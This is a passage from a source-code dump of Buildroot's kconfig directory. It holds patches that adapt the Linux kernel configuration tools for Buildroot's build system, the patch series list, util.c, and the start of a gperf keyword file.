87 | const char *get_line(const char *text, int line_no);
88 | void fill_window(WINDOW *win, const char *text);
89 | int btn_dialog(WINDOW *main_window, const char *msg, int btn_num, ...);
90 | int dialog_inputbox(WINDOW *main_window,
91 | const char *title, const char *prompt,
92 | const char *init, char **resultp, int *result_len);
93 | void refresh_all_windows(WINDOW *main_window);
94 | void show_scroll_win(WINDOW *main_window,
95 | const char *title,
96 | const char *text);
97 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch:
--------------------------------------------------------------------------------
1 | ---
2 | confdata.c | 4 ++--
3 | gconf.glade | 2 +-
4 | mconf.c | 4 ++--
5 | zconf.tab.c_shipped | 2 +-
6 | zconf.y | 2 +-
7 | 5 files changed, 7 insertions(+), 7 deletions(-)
8 |
9 | Index: kconfig/gconf.glade
10 | ===================================================================
11 | --- kconfig.orig/gconf.glade 2013-12-27 22:14:32.395629843 +0100
12 | +++ kconfig/gconf.glade 2013-12-27 22:14:32.387630158 +0100
13 | @@ -4,7 +4,7 @@
14 |
15 |
16 | True
17 | - Gtk Kernel Configurator
18 | + Gtk Buildroot Configurator
19 | GTK_WINDOW_TOPLEVEL
20 | GTK_WIN_POS_NONE
21 | False
22 | Index: kconfig/mconf.c
23 | ===================================================================
24 | --- kconfig.orig/mconf.c 2013-12-27 22:14:32.395629843 +0100
25 | +++ kconfig/mconf.c 2013-12-27 22:14:42.179244153 +0100
26 | @@ -176,9 +176,9 @@
27 | "Arrow keys navigate the menu. "
28 | " selects submenus ---> (or empty submenus ----). "
29 | "Highlighted letters are hotkeys. "
30 | - "Pressing includes, excludes, modularizes features. "
31 | + "Pressing selectes a feature, while will exclude a feature. "
32 | "Press to exit, > for Help, > for Search. "
33 | - "Legend: [*] built-in [ ] excluded module < > module capable"),
34 | + "Legend: [*] feature is selected [ ] feature is excluded"),
35 | radiolist_instructions[] = N_(
36 | "Use the arrow keys to navigate this window or "
37 | "press the hotkey of the item you wish to select "
38 | @@ -959,7 +959,7 @@
39 | if (conf_get_changed())
40 | res = dialog_yesno(NULL,
41 | _("Do you wish to save your new configuration?\n"
42 | - "(Press to continue kernel configuration.)"),
43 | + "(Press to continue Buildroot configuration.)"),
44 | 6, 60);
45 | else
46 | res = -1;
47 | Index: kconfig/zconf.tab.c_shipped
48 | ===================================================================
49 | --- kconfig.orig/zconf.tab.c_shipped 2013-12-27 22:14:32.395629843 +0100
50 | +++ kconfig/zconf.tab.c_shipped 2013-12-27 22:14:32.391630000 +0100
51 | @@ -2297,7 +2297,7 @@
52 |
53 | sym_init();
54 | _menu_init();
55 | - rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL);
56 | + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
57 |
58 | if (getenv("ZCONF_DEBUG"))
59 | zconfdebug = 1;
60 | Index: kconfig/zconf.y
61 | ===================================================================
62 | --- kconfig.orig/zconf.y 2013-12-27 22:14:32.395629843 +0100
63 | +++ kconfig/zconf.y 2013-12-27 22:14:32.391630000 +0100
64 | @@ -493,7 +493,7 @@
65 |
66 | sym_init();
67 | _menu_init();
68 | - rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL);
69 | + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
70 |
71 | if (getenv("ZCONF_DEBUG"))
72 | zconfdebug = 1;
73 | Index: kconfig/confdata.c
74 | ===================================================================
75 | --- kconfig.orig/confdata.c 2013-12-27 22:14:32.395629843 +0100
76 | +++ kconfig/confdata.c 2013-12-27 22:14:32.391630000 +0100
77 | @@ -25,7 +25,7 @@
78 | static const char *conf_filename;
79 | static int conf_lineno, conf_warnings, conf_unsaved;
80 |
81 | -const char conf_defname[] = "arch/$ARCH/defconfig";
82 | +const char conf_defname[] = ".defconfig";
83 |
84 | static void conf_warning(const char *fmt, ...)
85 | {
86 | @@ -63,7 +63,7 @@
87 |
88 | const char *conf_get_configname(void)
89 | {
90 | - char *name = getenv("KCONFIG_CONFIG");
91 | + char *name = getenv("BR2_CONFIG");
92 |
93 | return name ? name : ".config";
94 | }
95 | Index: kconfig/qconf.cc
96 | ===================================================================
97 | --- kconfig.orig/qconf.cc 2013-12-27 22:12:15.825013567 +0100
98 | +++ kconfig/qconf.cc 2013-12-27 22:14:57.826627300 +0100
99 | @@ -70,7 +70,7 @@
100 | }
101 |
102 | ConfigSettings::ConfigSettings()
103 | - : QSettings("kernel.org", "qconf")
104 | + : QSettings("buildroot.org", "qconf")
105 | {
106 | }
107 |
108 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/06-br-build-system-integration.patch:
--------------------------------------------------------------------------------
1 | ---
2 | Makefile | 8 ++++----
3 | 1 file changed, 4 insertions(+), 4 deletions(-)
4 |
5 | Index: b/Makefile
6 | ===================================================================
7 | --- a/Makefile
8 | +++ b/Makefile
9 | @@ -159,11 +159,11 @@
10 |
11 | hostprogs-y := conf
12 |
13 | -ifeq ($(MAKECMDGOALS),nconfig)
14 | +ifeq ($(MAKECMDGOALS),nconf)
15 | hostprogs-y += nconf
16 | endif
17 |
18 | -ifeq ($(MAKECMDGOALS),menuconfig)
19 | +ifeq ($(MAKECMDGOALS),mconf)
20 | hostprogs-y += mconf
21 | endif
22 |
23 | @@ -171,10 +171,10 @@
24 | hostprogs-y += kxgettext
25 | endif
26 |
27 | -ifeq ($(MAKECMDGOALS),xconfig)
28 | +ifeq ($(MAKECMDGOALS),qconf)
29 | qconf-target := 1
30 | endif
31 | -ifeq ($(MAKECMDGOALS),gconfig)
32 | +ifeq ($(MAKECMDGOALS),gconf)
33 | gconf-target := 1
34 | endif
35 |
36 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/10-br-build-system.patch:
--------------------------------------------------------------------------------
1 | ---
2 | Makefile.br | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++
3 | foo.h | 12 ++++++++++++
4 | 2 files changed, 65 insertions(+)
5 |
6 | Index: b/Makefile.br
7 | ===================================================================
8 | --- /dev/null
9 | +++ b/Makefile.br
10 | @@ -0,0 +1,53 @@
11 | +src := .
12 | +top_srcdir=../../
13 | +top_builddir=../../
14 | +srctree := .
15 | +obj ?= .
16 | +
17 | +include Makefile
18 | +#HOSTCFLAGS+=-Dinline="" -include foo.h
19 | +-include $(obj)/.depend
20 | +$(obj)/.depend: $(wildcard *.h *.c)
21 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || :
22 | +
23 | +__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m))
24 | +host-csingle := $(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m)))
25 | +host-cmulti := $(foreach m,$(__hostprogs),\
26 | + $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m))))
27 | +host-cxxmulti := $(foreach m,$(__hostprogs),\
28 | + $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),)))
29 | +host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs))))
30 | +host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs))))
31 | +
32 | +HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\"
33 | +
34 | +$(host-csingle): %: %.c
35 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $< -o $(obj)/$@
36 | +
37 | +$(host-cmulti): %: $(host-cobjs) $(host-cshlib)
38 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@
39 | +
40 | +$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib)
41 | + $(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@
42 | +
43 | +$(obj)/%.o: %.c
44 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
45 | +
46 | +$(obj)/%.o: $(obj)/%.c
47 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
48 | +
49 | +$(obj)/%.o: %.cc
50 | + $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@
51 | +
52 | +$(obj)/%:: $(src)/%_shipped
53 | + $(Q)cat $< > $@
54 | +
55 | +clean:
56 | + $(Q)rm -f $(addprefix $(obj)/,$(clean-files))
57 | +distclean: clean
58 | + $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \
59 | + $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \
60 | + mconf .depend)
61 | +
62 | +FORCE:
63 | +.PHONY: FORCE clean distclean
64 | Index: b/foo.h
65 | ===================================================================
66 | --- /dev/null
67 | +++ b/foo.h
68 | @@ -0,0 +1,12 @@
69 | +#ifndef __KCONFIG_FOO_H
70 | +#define __KCONFIG_FOO_H
71 | +
72 | +#ifndef __APPLE__
73 | +#include
74 | +#endif
75 | +#include
76 | +
77 | +#ifndef PATH_MAX
78 | +#define PATH_MAX 1024
79 | +#endif
80 | +#endif /* __KCONFIG_FOO_H */
81 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/101-kconfig-build.patch:
--------------------------------------------------------------------------------
1 | GNUmakefile | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | Makefile.br | 26 ++++++++++++------------
3 | README | 50 +++++++++++++++++++++++++++++++++++++++++++++++++
4 | config.sh | 26 +++++++++++++++++++++++++
5 | 4 files changed, 149 insertions(+), 13 deletions(-)
6 |
7 | Index: kconfig/GNUmakefile
8 | ===================================================================
9 | --- /dev/null 1970-01-01 00:00:00.000000000 +0000
10 | +++ kconfig/GNUmakefile 2014-05-20 14:12:37.000000000 +0200
11 | @@ -0,0 +1,60 @@
12 | +#
13 | +# Default stand alone makefile for kconfig.
14 | +#
15 | +# The Makefile and Makefile.br in this directory should
16 | +# not be called directly for standalone build.
17 | +# Actually they are included by this makefile.
18 | +#
19 | +
20 | +##
21 | +# Makefile parameters.
22 | +#
23 | +# The parameters are configured as for kernel build
24 | +# by default. Override them for your application
25 | +# setting.
26 | +#
27 | +
28 | +# TOP srcdir and this srcdir (relative to TOPDIR)
29 | +TOPDIR=.
30 | +SRCDIR=.
31 | +
32 | +# O: output directory (objs/exes), default to src dir
33 | +O=$(TOPDIR)/$(SRCDIR)
34 | +
35 | +# Build configuration
36 | +KBUILD_KCONFIG=Kconfig
37 | +KBUILD_CONFIG_DIR=configs
38 | +KBUILD_DEFCONFIG=defconfig
39 | +
40 | +# Product information (exported)
41 | +export PRODUCT_ENV=KCONFIG
42 | +export PRODUCT=Kernel
43 | +export PRODUCT_VERSION=
44 | +export PRODUCT_DOMAIN=kernel.org
45 | +
46 | +# Kconfig configuration (exported)
47 | +export $(PRODUCT_ENV)_CONFIG=config
48 | +
49 | +
50 | +# End of Makefile parameters.
51 | +##
52 | +
53 | +##
54 | +# Makefile adaptation/inclusion.
55 | +
56 | +# Buid vars
57 | +HOSTCC=$(CC)
58 | +HOSTCXX=$(CXX)
59 | +HOSTCFLAGS=-O2 -g
60 | +HOSTCXXFLAGS=-O2 -g
61 | +srctree=$(TOPDIR)
62 | +src=$(TOPDIR)/$(SRCDIR)
63 | +obj=$(O)
64 | +
65 | +# Enable execution from Makefile *conf programs
66 | +export PATH:=$(PATH):$(obj)
67 | +
68 | +include $(TOPDIR)/$(SRCDIR)/Makefile.br
69 | +
70 | +# End of Makefile adaptation/inclusion.
71 | +##
72 | Index: kconfig/README
73 | ===================================================================
74 | --- /dev/null 1970-01-01 00:00:00.000000000 +0000
75 | +++ kconfig/README 2014-05-20 14:12:37.000000000 +0200
76 | @@ -0,0 +1,50 @@
77 | +
78 | +# Synopsys
79 | +
80 | +kconfig is an isolated packaging of the kernel configuration tools
81 | +as found in the scripts/kconfig/ directory of the kernel sources.
82 | +
83 | +The purpose is to provide the great functionalities of the kernel
84 | +configuration mechanism to any project that need application
85 | +level configuration.
86 | +
87 | +# Usage
88 | +
89 | +On can extract kconfig sources and run without installation
90 | +from his own project directory:
91 | +
92 | +$ cd myproject/
93 | +$ kconfig/config.sh manuconfig
94 | +
95 | +As a default the mypoject/Kconfig file must be present for
96 | +declaring the project configuration.
97 | +The result is a myproject/config file which can be sources in
98 | +a shell of makefile script.
99 | +
100 | +Alternatively the call to:
101 | +
102 | +$ kconfig/config.sh menuconfig
103 | +
104 | +can be replaced by a direct call to the kconfig/GNUmakefile:
105 | +
106 | +$ make -f kconfig/GNUmakefile TOPDIR=. SRCDIR=kconfig
107 | +
108 | +Note that all common kernel configuration targets are available,
109 | +in particular config, menuconfig, nconfig, gconfig, xconfig,
110 | +defconfig, oldconfig, etc...
111 | +
112 | +Get the list of targets with:
113 | +
114 | +$ kconfig/config.sh help
115 | +
116 | +or
117 | +
118 | +$ make -f kconfig/GNUmakefile help TOPDIR=. SRCDIR=kconfig
119 | +
120 | +
121 | +# References
122 | +
123 | +Ref to buildroot README.buildroot file for the original idea
124 | +of packaging kconfig.
125 | +
126 | +Ref to kernel.org for actual contributors of kconfig.
127 | Index: kconfig/config.sh
128 | ===================================================================
129 | --- /dev/null 1970-01-01 00:00:00.000000000 +0000
130 | +++ kconfig/config.sh 2014-05-20 14:12:37.000000000 +0200
131 | @@ -0,0 +1,26 @@
132 | +#!/bin/sh
133 | +#
134 | +# usage: kconfig/config.sh
135 | +#
136 | +# Runs the requested configuration from
137 | +# the directory to be configured.
138 | +#
139 | +# For instance:
140 | +# cd myproject/
141 | +# kconfig/config.sh menuconfig
142 | +#
143 | +# Will generated a 'config' file in
144 | +# myproject/ from the 'Kconfig' file
145 | +# in myproject/
146 | +#
147 | +
148 | +set -e
149 | +dir=`dirname $0`
150 | +topdir=`dirname $dir`
151 | +srcdir=`basename $dir`
152 | +kconfig_targets="${1-config}"
153 | +set -x
154 | +exec make -f $dir/GNUmakefile \
155 | + TOPDIR=$topdir \
156 | + SRCDIR=$srcdir \
157 | + $kconfig_targets
158 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/11-use-mktemp-for-lxdialog.patch:
--------------------------------------------------------------------------------
1 | ---
2 | lxdialog/check-lxdialog.sh | 2 +-
3 | 1 file changed, 1 insertion(+), 1 deletion(-)
4 |
5 | Index: b/lxdialog/check-lxdialog.sh
6 | ===================================================================
7 | --- a/lxdialog/check-lxdialog.sh
8 | +++ b/lxdialog/check-lxdialog.sh
9 | @@ -36,7 +36,7 @@
10 | }
11 |
12 | # Temp file, try to clean up after us
13 | -tmp=.lxdialog.tmp
14 | +tmp=$(mktemp)
15 | trap "rm -f $tmp" 0 1 2 3 15
16 |
17 | # Check if we can link to ncurses
18 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/12-fix-glade-file-path.patch:
--------------------------------------------------------------------------------
1 | ---
2 | gconf.c | 2 +-
3 | 1 file changed, 1 insertion(+), 1 deletion(-)
4 |
5 | Index: b/gconf.c
6 | ===================================================================
7 | --- a/gconf.c
8 | +++ b/gconf.c
9 | @@ -1486,7 +1486,7 @@
10 | /* Determine GUI path */
11 | env = getenv(SRCTREE);
12 | if (env)
13 | - glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL);
14 | + glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL);
15 | else if (av[0][0] == '/')
16 | glade_file = g_strconcat(av[0], ".glade", NULL);
17 | else
18 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/14-support-out-of-tree-config.patch:
--------------------------------------------------------------------------------
1 | ---
2 | conf.c | 1
3 | confdata.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++---------------
4 | util.c | 16 +++++++++++++--
5 | 3 files changed, 61 insertions(+), 18 deletions(-)
6 |
7 | Index: b/conf.c
8 | ===================================================================
9 | --- a/conf.c
10 | +++ b/conf.c
11 | @@ -558,7 +558,6 @@
12 | }
13 | name = av[optind];
14 | conf_parse(name);
15 | - //zconfdump(stdout);
16 | if (sync_kconfig) {
17 | name = conf_get_configname();
18 | if (stat(name, &tmpstat)) {
19 | Index: b/confdata.c
20 | ===================================================================
21 | --- a/confdata.c
22 | +++ b/confdata.c
23 | @@ -13,6 +13,7 @@
24 | #include
25 | #include
26 | #include
27 | +#include
28 |
29 | #include "lkc.h"
30 |
31 | @@ -70,9 +71,7 @@
32 |
33 | const char *conf_get_autoconfig_name(void)
34 | {
35 | - char *name = getenv("KCONFIG_AUTOCONFIG");
36 | -
37 | - return name ? name : "include/config/auto.conf";
38 | + return getenv("KCONFIG_AUTOCONFIG");
39 | }
40 |
41 | static char *conf_expand_value(const char *in)
42 | @@ -742,6 +741,9 @@
43 | char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1];
44 | char *env;
45 |
46 | + if (!name)
47 | + name = conf_get_configname();
48 | +
49 | dirname[0] = 0;
50 | if (name && name[0]) {
51 | struct stat st;
52 | @@ -836,6 +838,7 @@
53 | {
54 | const char *name;
55 | char path[PATH_MAX+1];
56 | + char *opwd, *dir, *_name;
57 | char *s, *d, c;
58 | struct symbol *sym;
59 | struct stat sb;
60 | @@ -844,8 +847,20 @@
61 | name = conf_get_autoconfig_name();
62 | conf_read_simple(name, S_DEF_AUTO);
63 |
64 | - if (chdir("include/config"))
65 | - return 1;
66 | + opwd = malloc(256);
67 | + _name = strdup(name);
68 | + if (opwd == NULL || _name == NULL)
69 | + return 1;
70 | + opwd = getcwd(opwd, 256);
71 | + dir = dirname(_name);
72 | + if (dir == NULL) {
73 | + res = 1;
74 | + goto err;
75 | + }
76 | + if (chdir(dir)) {
77 | + res = 1;
78 | + goto err;
79 | + }
80 |
81 | res = 0;
82 | for_all_symbols(i, sym) {
83 | @@ -938,9 +953,11 @@
84 | close(fd);
85 | }
86 | out:
87 | - if (chdir("../.."))
88 | - return 1;
89 | -
90 | + if (chdir(opwd))
91 | + res = 1;
92 | +err:
93 | + free(opwd);
94 | + free(_name);
95 | return res;
96 | }
97 |
98 | @@ -950,25 +967,38 @@
99 | const char *name;
100 | FILE *out, *tristate, *out_h;
101 | int i;
102 | + char dir[PATH_MAX+1], buf[PATH_MAX+1];
103 | + char *s;
104 | +
105 | + strcpy(dir, conf_get_configname());
106 | + s = strrchr(dir, '/');
107 | + if (s)
108 | + s[1] = 0;
109 | + else
110 | + dir[0] = 0;
111 |
112 | sym_clear_all_valid();
113 |
114 | - file_write_dep("include/config/auto.conf.cmd");
115 | + sprintf(buf, "%s.config.cmd", dir);
116 | + file_write_dep(buf);
117 |
118 | if (conf_split_config())
119 | return 1;
120 |
121 | - out = fopen(".tmpconfig", "w");
122 | + sprintf(buf, "%s.tmpconfig", dir);
123 | + out = fopen(buf, "w");
124 | if (!out)
125 | return 1;
126 |
127 | - tristate = fopen(".tmpconfig_tristate", "w");
128 | + sprintf(buf, "%s.tmpconfig_tristate", dir);
129 | + tristate = fopen(buf, "w");
130 | if (!tristate) {
131 | fclose(out);
132 | return 1;
133 | }
134 |
135 | - out_h = fopen(".tmpconfig.h", "w");
136 | + sprintf(buf, "%s.tmpconfig.h", dir);
137 | + out_h = fopen(buf, "w");
138 | if (!out_h) {
139 | fclose(out);
140 | fclose(tristate);
141 | @@ -1000,19 +1030,22 @@
142 | name = getenv("KCONFIG_AUTOHEADER");
143 | if (!name)
144 | name = "include/generated/autoconf.h";
145 | - if (rename(".tmpconfig.h", name))
146 | + sprintf(buf, "%s.tmpconfig.h", dir);
147 | + if (rename(buf, name))
148 | return 1;
149 | name = getenv("KCONFIG_TRISTATE");
150 | if (!name)
151 | name = "include/config/tristate.conf";
152 | - if (rename(".tmpconfig_tristate", name))
153 | + sprintf(buf, "%s.tmpconfig_tristate", dir);
154 | + if (rename(buf, name))
155 | return 1;
156 | name = conf_get_autoconfig_name();
157 | /*
158 | * This must be the last step, kbuild has a dependency on auto.conf
159 | * and this marks the successful completion of the previous steps.
160 | */
161 | - if (rename(".tmpconfig", name))
162 | + sprintf(buf, "%s.tmpconfig", dir);
163 | + if (rename(buf, name))
164 | return 1;
165 |
166 | return 0;
167 | Index: b/util.c
168 | ===================================================================
169 | --- a/util.c
170 | +++ b/util.c
171 | @@ -34,6 +34,8 @@
172 | /* write a dependency file as used by kbuild to track dependencies */
173 | int file_write_dep(const char *name)
174 | {
175 | + char *str;
176 | + char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1];
177 | struct symbol *sym, *env_sym;
178 | struct expr *e;
179 | struct file *file;
180 | @@ -41,7 +43,16 @@
181 |
182 | if (!name)
183 | name = ".kconfig.d";
184 | - out = fopen("..config.tmp", "w");
185 | +
186 | + strcpy(dir, conf_get_configname());
187 | + str = strrchr(dir, '/');
188 | + if (str)
189 | + str[1] = 0;
190 | + else
191 | + dir[0] = 0;
192 | +
193 | + sprintf(buf, "%s..config.tmp", dir);
194 | + out = fopen(buf, "w");
195 | if (!out)
196 | return 1;
197 | fprintf(out, "deps_config := \\\n");
198 | @@ -72,7 +83,8 @@
199 |
200 | fprintf(out, "\n$(deps_config): ;\n");
201 | fclose(out);
202 | - rename("..config.tmp", name);
203 | + sprintf(buf2, "%s%s", dir, name);
204 | + rename(buf, buf2);
205 | return 0;
206 | }
207 |
208 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/15-fix-qconf-moc-rule.patch:
--------------------------------------------------------------------------------
1 | Fix the rule that generates the .moc file
2 |
3 | The Linux kernel has a "cmd" make function, but we don't have it in
4 | Buildroot, so we need to adjust this rule.
5 |
6 | Signed-off-by: Thomas Petazzoni
7 |
8 | Index: b/Makefile
9 | ===================================================================
10 | --- a/Makefile
11 | +++ b/Makefile
12 | @@ -309,11 +309,8 @@
13 |
14 | $(obj)/qconf.o: $(obj)/qconf.moc
15 |
16 | -quiet_cmd_moc = MOC $@
17 | - cmd_moc = $(KC_QT_MOC) -i $< -o $@
18 | -
19 | $(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck
20 | - $(call cmd,moc)
21 | + $(KC_QT_MOC) -i $< -o $@
22 |
23 | # Extract gconf menu items for I18N support
24 | $(obj)/gconf.glade.h: $(obj)/gconf.glade
25 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/16-fix-space-to-de-select-options.patch:
--------------------------------------------------------------------------------
1 | commit 6faa447282fe90d42e0513af46c13f20b4b327d4
2 | Author: Yann E. MORIN
3 | Date: Wed Nov 13 22:45:02 2013 +0100
4 |
5 | support/kconfig: fix 'space' to (de)select options
6 |
7 | In case a menu has comment without letters/numbers (eg. characters
8 | matching the regexp '^[^[:alpha:][:digit:]]+$', for example - or *),
9 | hitting space will cycle through those comments, rather than
10 | selecting/deselecting the currently-highlighted option.
11 |
12 | This is the behaviour of hitting any letter/digit: jump to the next
13 | option which prompt starts with that letter. The only letters that
14 | do not behave as such are 'y' 'm' and 'n'. Prompts that start with
15 | one of those three letters are instead matched on the first letter
16 | that is not 'y', 'm' or 'n'.
17 |
18 | Fix that by treating 'space' as we treat y/m/n, ie. as an action key,
19 | not as shortcut to jump to prompt.
20 |
21 | Signed-off-by: "Yann E. MORIN"
22 | Cc: Thomas Petazzoni
23 | Cc: Peter Korsgaard
24 | Cc: Samuel Martin
25 | Cc: Thomas De Schampheleire
26 | ---
27 | Note: I'll be running this upstream soonish.
28 |
29 | diff --git a/support/kconfig/lxdialog/menubox.c b/support/kconfig/lxdialog/menubox.c
30 | index 48d382e..6fc7e78 100644
31 | --- a/lxdialog/menubox.c
32 | +++ b/lxdialog/menubox.c
33 | @@ -285,7 +285,7 @@ do_resize:
34 | if (key < 256 && isalpha(key))
35 | key = tolower(key);
36 |
37 | - if (strchr("ynmh", key))
38 | + if (strchr("ynmh ", key))
39 | i = max_choice;
40 | else {
41 | for (i = choice + 1; i < max_choice; i++) {
42 |
--------------------------------------------------------------------------------
/scripts/kconfig/patches/series:
--------------------------------------------------------------------------------
1 | 01-kconfig-kernel-to-buildroot.patch
2 | 10-br-build-system.patch
3 | 11-use-mktemp-for-lxdialog.patch
4 | 12-fix-glade-file-path.patch
5 | 14-support-out-of-tree-config.patch
6 | 15-fix-qconf-moc-rule.patch
7 | 16-fix-space-to-de-select-options.patch
8 | 100-kconfig-generic-env.patch
9 | 101-kconfig-build.patch
10 |
--------------------------------------------------------------------------------
/scripts/kconfig/util.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002-2005 Roman Zippel
3 | * Copyright (C) 2002-2005 Sam Ravnborg
4 | *
5 | * Released under the terms of the GNU GPL v2.0.
6 | */
7 |
8 | #include
9 | #include
10 | #include
11 | #include "lkc.h"
12 |
13 | /* file already present in list? If not add it */
14 | struct file *file_lookup(const char *name)
15 | {
16 | struct file *file;
17 | const char *file_name = sym_expand_string_value(name);
18 |
19 | for (file = file_list; file; file = file->next) {
20 | if (!strcmp(name, file->name)) {
21 | free((void *)file_name);
22 | return file;
23 | }
24 | }
25 |
26 | file = xmalloc(sizeof(*file));
27 | memset(file, 0, sizeof(*file));
28 | file->name = file_name;
29 | file->next = file_list;
30 | file_list = file;
31 | return file;
32 | }
33 |
34 | /* write a dependency file as used by kbuild to track dependencies */
35 | int file_write_dep(const char *name)
36 | {
37 | char *str;
38 | char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1];
39 | struct symbol *sym, *env_sym;
40 | struct expr *e;
41 | struct file *file;
42 | FILE *out;
43 |
44 | if (!name)
45 | name = ".kconfig.d";
46 |
47 | strcpy(dir, conf_get_configname());
48 | str = strrchr(dir, '/');
49 | if (str)
50 | str[1] = 0;
51 | else
52 | dir[0] = 0;
53 |
54 | sprintf(buf, "%s..config.tmp", dir);
55 | out = fopen(buf, "w");
56 | if (!out)
57 | return 1;
58 | fprintf(out, "deps_config := \\\n");
59 | for (file = file_list; file; file = file->next) {
60 | if (file->next)
61 | fprintf(out, "\t%s \\\n", file->name);
62 | else
63 | fprintf(out, "\t%s\n", file->name);
64 | }
65 | fprintf(out, "\n%s: \\\n"
66 | "\t$(deps_config)\n\n", conf_get_autoconfig_name());
67 |
68 | expr_list_for_each_sym(sym_env_list, e, sym) {
69 | struct property *prop;
70 | const char *value;
71 |
72 | prop = sym_get_env_prop(sym);
73 | env_sym = prop_get_symbol(prop);
74 | if (!env_sym)
75 | continue;
76 | value = getenv(env_sym->name);
77 | if (!value)
78 | value = "";
79 | fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value);
80 | fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name());
81 | fprintf(out, "endif\n");
82 | }
83 |
84 | fprintf(out, "\n$(deps_config): ;\n");
85 | fclose(out);
86 | sprintf(buf2, "%s%s", dir, name);
87 | rename(buf, buf2);
88 | return 0;
89 | }
90 |
91 |
92 | /* Allocate initial growable string */
93 | struct gstr str_new(void)
94 | {
95 | struct gstr gs;
96 | gs.s = xmalloc(sizeof(char) * 64);
97 | gs.len = 64;
98 | gs.max_width = 0;
99 | strcpy(gs.s, "\0");
100 | return gs;
101 | }
102 |
103 | /* Allocate and assign growable string */
104 | struct gstr str_assign(const char *s)
105 | {
106 | struct gstr gs;
107 | gs.s = strdup(s);
108 | gs.len = strlen(s) + 1;
109 | gs.max_width = 0;
110 | return gs;
111 | }
112 |
113 | /* Free storage for growable string */
114 | void str_free(struct gstr *gs)
115 | {
116 | if (gs->s)
117 | free(gs->s);
118 | gs->s = NULL;
119 | gs->len = 0;
120 | }
121 |
122 | /* Append to growable string */
123 | void str_append(struct gstr *gs, const char *s)
124 | {
125 | size_t l;
126 | if (s) {
127 | l = strlen(gs->s) + strlen(s) + 1;
128 | if (l > gs->len) {
129 | gs->s = realloc(gs->s, l);
130 | gs->len = l;
131 | }
132 | strcat(gs->s, s);
133 | }
134 | }
135 |
136 | /* Append printf formatted string to growable string */
137 | void str_printf(struct gstr *gs, const char *fmt, ...)
138 | {
139 | va_list ap;
140 | char s[10000]; /* big enough... */
141 | va_start(ap, fmt);
142 | vsnprintf(s, sizeof(s), fmt, ap);
143 | str_append(gs, s);
144 | va_end(ap);
145 | }
146 |
147 | /* Retrieve value of growable string */
148 | const char *str_get(struct gstr *gs)
149 | {
150 | return gs->s;
151 | }
152 |
153 | void *xmalloc(size_t size)
154 | {
155 | void *p = malloc(size);
156 | if (p)
157 | return p;
158 | fprintf(stderr, "Out of memory.\n");
159 | exit(1);
160 | }
161 |
162 | void *xcalloc(size_t nmemb, size_t size)
163 | {
164 | void *p = calloc(nmemb, size);
165 | if (p)
166 | return p;
167 | fprintf(stderr, "Out of memory.\n");
168 | exit(1);
169 | }
170 |
171 |
172 |
--------------------------------------------------------------------------------
/scripts/kconfig/zconf.gperf:
--------------------------------------------------------------------------------
1 | %language=ANSI-C
2 | %define hash-function-name kconf_id_hash
3 | %define lookup-function-name kconf_id_lookup
4 | %define string-pool-name kconf_id_strings
5 | %compare-strncmp
6 | %enum
7 | %pic
8 | %struct-type
9 |
10 | struct kconf_id;
11 |
12 | static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len);
13 |
14 | %%
15 | mainmenu, T_MAINMENU, TF_COMMAND
16 | menu, T_MENU, TF_COMMAND
